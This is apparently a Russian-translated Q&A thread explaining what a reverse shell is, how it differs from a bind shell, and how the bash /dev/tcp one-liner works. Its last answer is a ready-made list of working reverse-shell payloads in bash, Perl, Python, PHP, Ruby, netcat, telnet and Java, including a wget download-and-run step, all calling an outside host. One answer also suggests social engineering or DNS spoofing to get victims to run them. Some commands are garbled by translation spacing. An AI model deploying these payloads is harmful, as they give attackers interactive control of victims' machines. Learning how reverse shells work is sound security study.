Что такое обратная оболочка?
Может ли кто-нибудь подробно объяснить, что такое обратная оболочка и в каких случаях мы должны ее использовать? Я нашел этот http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet относительно того же, что означает:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Ответы
Ответ 1
Это (n небезопасная) удаленная оболочка, представленная целью. Это противоположность "нормальной" удаленной оболочки, которая вводится источником.
Давайте попробуем это с localhost
вместо 10.0.0.1
:
Ответ 2
В дополнение к отличному ответу @Kay, ответ на ваш вопрос, почему он называется обратная оболочка, заключается в том, что она называется обратной оболочкой, а не оболочкой связывания
Bind shell - компьютер-злоумышленник действует как клиент, а компьютер-жертва действует как сервер, открывающий коммуникационный порт на жертве и ожидающий подключения к нему клиента, а затем выдающий команды, которые будут выполняться удаленно (по отношению к злоумышленнику) машина жертвы. Это будет возможно только в том случае, если компьютер жертвы имеет общедоступный IP-адрес и доступен через Интернет (для краткости игнорируя все брандмауэры и т.д.).
Что теперь, если машина-жертва имеет NAT и, следовательно, не доступна напрямую? Одно из возможных решений - что делать, если машина жертвы недоступна. Моя (атакующая) машина достижима. Итак, позвольте мне открыть сервер на моем конце и позволить жертве подключиться ко мне. Это и есть обратная оболочка.
Реверс Shell - компьютер злоумышленника (который имеет общедоступный IP-адрес и доступен через Интернет) действует как сервер. Он открывает канал связи в порту и ожидает входящих соединений. Машина-жертва действует как клиент и инициирует соединение с прослушивающим сервером злоумышленника. Это именно то, что делается следующим образом:
bash -i> &/dev/tcp/10.0.0.1/8080 0> & 1
Ответ 3
Обратная оболочка получает соединение от жертвы или цели к вашему компьютеру. Вы можете думать, что ваш компьютер (злоумышленник) действует как сервер и прослушивает указанный им порт, теперь вы убедитесь, что жертва подключается к вам, посылая пакет syn (зависит от реализации обратной оболочки, реализована ли она с использованием принципалов tcp или udp), Теперь соединение выглядит так, как будто жертва сама намеревается соединиться с нами. Теперь для того, чтобы обмануть жертву, вам нужно выполнить атаки социальной инженерии или спуфинговать днс и убедиться, что ваша жертва запускает программу. Успешная обратная оболочка будет обходить все брандмауэры - как сетевые, так и сетевые. Обратные оболочки бывают разных типов - основанные на TCP или HTTP, или обратные основанные на TCP или UDP обратные оболочки.
bash -i> &/dev/tcp/10.0.0.1/8080 0> & 1 Чтобы открыть сокет в Linux, у вас есть dev/tcp. Вы в основном открываете сокет TCP в Linux.
Общий формат -/dev/tcp/ip address/port. Теперь слушайте порт 8080, используя net cat в качестве nc - l - p 8080 - - vv
Простая обратная оболочка на основе bash будет выполнять следующую команду на жертве nc - e/bin/bash 10.0.0.1 8080. Это означает, что вы просите vict подключиться к вашему IP-адресу через порт 8080, предполагая, что 10.0.0.1 - жертва ip.
Ответ 4
Примеры обратных оболочек на разных языках. Опасность это слово.
оболочка
bash -i >& /dev/tcp/1.1.1.1/10086 0>&1;
оболочка Perl
perl -e 'use Socket;$i="1.1.1.1";$p=10086;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
оболочка питона
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
PHP оболочки
php -r '$sock=fsockopen("1.1.1.1",10086);exec("/bin/sh -i <&3 >&3 2>&3");';
рубиновая оболочка
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","10086");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
NC Shell
nc -c /bin/sh 1.1.1.1 10086;
оболочка телнета
telnet 1.1.1.1 10086 | /bin/bash | telnet 1.1.1.1 10087; # Remember to listen on your machine also on port 4445/tcp
127.0.0.1; mknod test p ; telnet 1.1.1.1 10086 0<test | /bin/bash 1>test;
java jar shell
wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar;
java -jar /tmp/revs1.jar;
import java.io.IOException;
public class ReverseShell {
public static void main(String[] args) throws IOException, InterruptedException {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}